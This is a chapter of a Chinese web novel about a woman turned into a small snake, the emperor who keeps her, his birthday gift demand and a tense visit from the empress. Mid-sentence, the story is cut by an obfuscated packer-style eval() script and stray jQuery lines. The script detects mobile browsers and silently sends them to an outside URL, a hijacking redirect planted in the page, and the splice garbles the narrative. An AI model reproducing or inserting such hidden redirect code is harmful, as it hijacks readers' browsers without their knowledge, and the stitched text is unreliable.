所以,昨天晚上,他是不是亲她了?
谢冬瑗自从睡醒之后,就一直在想这个问题。
晨光洒入殿内,尘埃缓缓浮动,而她的思绪却比那尘埃更纷乱。
昨夜唇上那抹转瞬即逝的温软触感,究竟是梦,还是真实?
以至于这一早上,她的视线总是不自觉地往周清玄的嘴唇上瞟。
那薄唇此刻正微微抿着,批阅奏折时显得专注而平静,可她分明记得昨夜昏沉之间,有什么轻柔如羽的东西拂过自己的唇角。
而周清玄呢,全然忽视她那游移的目光,自顾自地伏案书写,朱笔悬腕,一行行批注流水般落下。
只是偶尔,当他垂下眼睫时,嘴角会泄露一丝几不可察的向上的弧度。
他绝对偷亲了她!
谢冬瑗心里窝着一团火。
昨日周清玄半是强迫地带她去神宫,讲述那段往事后做出一些奇怪的举止将她吓得不轻,她本能地想逃,却忽然被一阵强烈的困意席卷。
之后……记忆就停在那如蜻蜓点水般的触碰上。
那感觉太清晰,反反复复在脑海中回放。
不是不相信他会亲她,而是无法理解。
难道养宠物养出感情了,情不自禁?
总不会真喜欢上她这条只有玉米蛇大小的小蛇吧?
太奇怪了,真是太奇怪了。
“木木,”周清玄忽然搁下笔,转过头来,“你是不是变大了一些?”
他比划着:“刚来皇宫时,你只有一指宽。”两指并拢,虚虚环了环她如今的身形,“现在,快有两指了。”
啊嘞?
谢冬瑗怔了怔,借着周清玄眼中清澈的倒影,看见自己碧绿的身躯,确实比从前丰润了些。
从前映在他瞳仁里只是细细一道绿痕,如今已能占去一小片深黑的底色。
在皇宫这些日子,周清玄好吃好喝供养着,她一直维持着幼蛇的形态,从未变过。
怎么会突然长大?
谢冬瑗想不明白。
若是这样,是不是意味着,离重新化为人形又近了一步?
想到这里,那点窝着的心火渐渐散了。
她游到他执笔的手边,探首去看宣纸上的字迹,忽然注意到一行小字:“……值朕生辰将至,诸事从简。”
“过几日是你的生日?”她脱口问道。
周清玄眉眼一弯,笑意漫开:“是啊。木木可想好送我什么礼物了?”
谢冬瑗一僵。
完了,自挖坑。
小蛇可怜兮兮地盘起尾巴:“周清玄,你是知道的,我没有钱,一点钱也没有……”
她现在连个铜板都没有,拿什么送?
周清玄却不管,伸手用指节蹭了蹭她的脑袋,慢悠悠道:“我不管。生辰那日,我只要木木的礼物。”
这人简直不讲道理!
她连手脚都没有,难不成去御花园叼片叶子,衔朵花?
或者从哪个角落里扒拉出一颗遗落的珍珠?
周清玄像是看穿了她那点敷衍的心思,忽然板起脸,假意严肃:“不准随便捡叶子和花,也不准拿宫里的珠子宝石充数。”
小蛇气得尾巴直拍案面:“周清玄你不讲道理,这些都不许,那我要去哪里找礼物嘛!”
周清玄笑得肩头发颤,手中毛笔一抖,墨点滴在宣纸上,晕开好几颗圆滚滚的黑葡萄。
“我不管。”
呵呵,你不管,你不管。
小蛇在心里默默念叨:真是位难伺候的狗皇帝。
宫人轻步上前,换了一张新宣纸。
周清玄这次未坐轮椅,而是站起身,左手轻压纸角,右手执笔蘸墨,悬腕落字。笔锋如刀,力透纸背,一行行字迹在纸上绽开,自有一股凌驾众人的气势。
写到一半,他又停笔,低头看向案边的小蛇,眼中含笑意,隐隐带着鼓励。
又怎么了?
小蛇仰头,茫然地望着他。
周清玄眼底的光渐渐淡了些,抿了抿唇,将笔搁回山架,双手撑在案边,对着写好的字静了片刻。
“我还以为,木木会夸我写的字好看呢。”
嗓音低低的,竟透出一点委屈。
谢冬瑗愣了愣。
不过一夜,这人的态度怎么又变了几分?从前虽温和,却也不矫情,如今这般语气莫名熟悉。
是在哪里听过呢……
“木木,你怎么不说话了?”
“冬瑗,你怎么不说话了?”
记忆猛然掀开一角。
是了,从前那个年下男友便是这样。恋爱时甜腻黏人,分手后纠缠不休,一会儿蹲守小区,一会儿发来自残照片,超级烦人。
要不是宋睿使了一些手段弄走了他,谢冬瑗可不知道要被那个人烦多久。
现在想想看,那股偏执又委屈的劲儿,与眼前人此刻的神态重叠在一起。
谢冬瑗蛇身一僵。
难不成,周清玄想和她来一段人蛇play?
她暗暗抽了抽嘴角。
罢了,人在屋檐下,他想演,她便陪着演吧。
小蛇摆出认真端详的姿态,对着那幅字摇头晃脑:“这字真是大气磅礴,行云流水又不失皇家气派,果然只有周清玄才写得出。”
一番话说得她自己都有些心虚,周清玄却被逗得朗声笑起来,连带着宽大的书案都跟着轻轻震动。
他扬起的唇角的弧度,那笑意真切,竟晃得她一时移不开眼。
“臣妾在外边听着陛下笑得这般欢快,还以为是开了窍,寻了哪位美人作陪。”
声音如碎玉投冰,清清冷冷地漫进来。
只见来人头戴九翚四凤冠,一身蓝青宫装衬得身姿端庄,容貌素丽如雪中寒梅。与华贵凤冠格格不入的,是她颈间与腕上各绕着一串深褐色的佛珠。
她踏入殿内,目光扫过案前一人一蛇,唇角勾起一抹冷淡的弧度:“却不曾想,美人没见着,倒见着一条青碧的蛇。”
她顿了顿,笑意更冷,“妾身竟不知,陛下喜爱的不是女子,而是蛇。真是臣妾这皇后的失职。”
不知为何,谢冬瑗骤然生出一股被捉奸在床的窘迫。加之被这突如其来的人惊到,她本能地就往周清玄怀里钻。
奈何她如今是真胖了一圈,再不是从前那mini小蛇,能嗖地滑进衣襟。如今这plus版蛇身费了好一番功夫,才勉强挤进他胸前的衣料里,还险些卡住半截尾巴。
透过昨夜周清玄所述的往事,谢冬瑗已知皇后与他之间有一段不堪回首的过去。
是了,眼前这位头戴凤冠、语带讥诮的女子,应当就是皇后宋远遥。那段孽缘因周清玄而起,她必然恨极了他。
周清玄的掌心隔着衣料按住在胸口乱窜的小蛇,抬起眼时,面上已无半分笑意。
他没有立刻看向皇后,而是转向门外,声音冰冽:“福安,你是想去辛者库洗马桶了么?”
门外的福安扑通一声跪倒,冷汗涔涔。
他简直是有口难言。劝是劝过了,可那是皇后啊,她要见陛下,天经地义,他一个奴才拿什么拦?
何况皇后对他说话时语气温柔,眸光平和,他哪里硬得起心肠拒绝。
唉,这回陛下是真动怒了,洗马桶恐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021055|192639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕都是轻的。
宋远遥却恍若未闻,只往前又走了半步,腕间佛珠捻动:“陛下就不问问,臣妾今日为何而来么?”
周清玄置若罔闻,只将轮椅向前推了半尺,扬声道:“金吾卫何在?”
“臣在!”
今日当值的数名金吾卫齐步而入,顷刻间跪了一地。
周清玄目光扫过众人,声线平稳,却字字压着寒意:“朕要你们所有人都记住,若无朕的亲许,任何人不得踏入启祥宫半步。看来这些日子,你们是松懈太久了。”
他指尖在轮椅扶手上轻轻一叩,“是阿城没教好规矩,还是你们对朕已失了恭敬之心?”
殿内死寂,无人敢应声。
“今日所有在启祥宫当值的金吾卫,罚俸半年,两年内不得升迁。”
周清玄说完,闭了闭眼,“退下罢。”
“谢陛下隆恩!”
金吾卫齐声应道,暗暗松了口气。这已是格外开恩了,按陛下从前的性子,怕是少不了一顿杖责,再发配边疆。
众人退尽,殿内重回空旷。
周清玄这才缓缓将目光投向一直静立原处的宋远遥。
“皇后,”他淡淡道,“你逾矩了。”
宋远遥轻笑一声,眼中却无笑意:“陛下对臣妾,当真是不留半分情面。”
她的视线落在他方才撑案而立、此刻却安然坐于轮椅上的双腿,眉梢微挑:“陛下既然腿疾未愈,需倚轮椅代步,又何必强撑起身?是做给谁看?”
周清玄不答,只将轮椅转回案前:“皇后此来,究竟所为何事?”
宋远遥向前走了几步,在距他三尺之处停下。这是一个不远不近,恰好维持着礼数与疏离的距离。
她垂下眼,指尖慢慢捻过一颗佛珠,声音平淡无波:“五日后便是陛下寿辰。臣妾来问,此番宫宴可仍循旧制?”
“嗯,交由皇后处置便是。”
周清玄应得随意,忽又想起什么,补了一句:“再加一项民间打铁花。”
宋远遥捻珠的手指微微一顿,抬眼看他,目光里掠过一丝不解,却仍恭敬应下:“是,臣妾记下了。”
她转身欲离。
“皇后,”周清玄的声音自身后传来,不疾不徐,“替朕向宋相问安。”
宋远遥脚步一滞,并未回头,只停顿了一瞬,便挺直背脊踏出了殿门。
一出启祥宫,她扶住朱红宫墙,忽地俯身干呕起来。
侍女彩星急忙递上丝帕,宋远遥接过,用力擦了擦嘴角,脸上尽是压不住的厌恶:“与他共处一室,每刻都令人作呕。”
今日父亲入宫见她,说起周清玄近来性情大变,还养了条青蛇。前阵子那蛇失踪,闹得六宫不宁,甚至惊动了前朝。
宋相疑心周清玄在宫中藏了宠妃,否则从前那般冷情之人,怎会如此失态。
宋远遥本不愿理会这些。
她恨不得离周清玄越远越好,最好此生不复相见,最好他早早归天,她落个清净太后之位。
可父亲屡次以母亲与幼妹相挟,逼她前来试探。
她不得不来。
宠妃没见到,倒见到了那条搅得皇宫天翻地覆的小青蛇。
虽只一眼那蛇便钻入周清玄衣内,可她看得分明,那绝非寻常青蛇。
周氏皇族,果真一个比一个令人作呕。
尤其是周清玄,不近女色,倒对一条蛇着了迷。
真是恶心透顶的疯子。
凤辇起驾,珠帘摇晃。
宋远遥靠在辇中,闭目捻珠,唇间溢出一声极轻的喃语:
“他究竟,何时才肯去死。”